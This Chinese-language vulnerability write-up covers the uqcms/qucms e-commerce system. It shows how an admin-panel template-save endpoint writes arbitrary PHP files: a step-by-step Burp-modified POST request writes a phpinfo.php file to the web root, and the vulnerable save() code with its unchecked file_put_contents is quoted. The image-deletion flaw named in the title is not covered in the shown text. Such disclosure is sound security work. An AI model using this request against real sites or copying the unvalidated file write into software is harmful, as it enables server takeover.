uqcms的后台GetShell和前台越权删除他人图片

qucms是一个B2B2C多商户电商系统

结合多年的电商开发经验推出B2B2C多店铺系统，是目前国内最优秀的电商平台之一，系统设计为“平台自营+供应商入驻”的电商运营模式，系统支持佣金结算、区域团购、实时物流、售后服务等基础功能；为电商运营商提供最优质的系统和服务。该程序采用非常流行的PHP作为开发语言，给很多广大开发者一个容易上手，能快速进入业务，成熟的语言架构，去除无用直达高效的设计，给企业快速开发，赢的市场。

1. 后台GETSHELL

打开URLwww.yousite.xxx?m=template后，呈现这个页面:
image_1cevu8mj382u1blhvnl1eqk1nri9.png-43.8kB
点击进入目录

image_1cevua1je1t93pa7cfj127jhv16.png-95.5kB
随便点击一个编辑，然后用Burp抓包( 用不用都可以 )

image_1cevuf2drd8t1l1e56evn31otg1j.png-106.9kB
单击提交后用Burp抓包，抓到的数据如下图

image_1cevuh0soqt1imm1icg43m13h820.png-173.1kB
我们将filename修改为phpinfo.php，把content修改为<?php phpinfo();?>

image_1cevuk0f31pddmhhphu1urj1nvn2d.png-52.6kB

修改后的数据包:

POST /admin.php?m=template&a=save&jq_time=1527933067821 HTTP/1.1
Host: www.iamfree.ccc
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.iamfree.ccc/admin.php?m=template&a=edit&path=default.top.html
Content-Length: 2886
Cookie: PHPSESSID=b3uto19lpaa0mbbg4rudn9oqt0; goods[cart]=180602173948571025
Connection: close

filename=phpinfo.php&content=<?php phpinfo();?>

然后就会在根目录创建一个名为phpinfo.php的文件，并且内容为<?php phpinfo();?>
image_1cevur2sr1nri103u1pss15mf19l92q.png-80.8kB

访问phpinfo.php文件，完成GETSHELL:
image_1cevuscb0g0i1ccj146918t61n9837.png-75.1kB

漏洞代码处：

image_1cevvbsg4vo29pi19jcmst1ftd3k.png-147kB

public function save() {
        if ($_POST) {
            $file = P('filename', '修改的文件名不能为空');
            $content = P('content');
            $query = file_put_contents($file, stripslashes_deep($content)); 
            if ($query) {
                right_json();
            } else {
                error_json('保存失败');
            }
        } else {
            error_json('提交错误');
        }
    }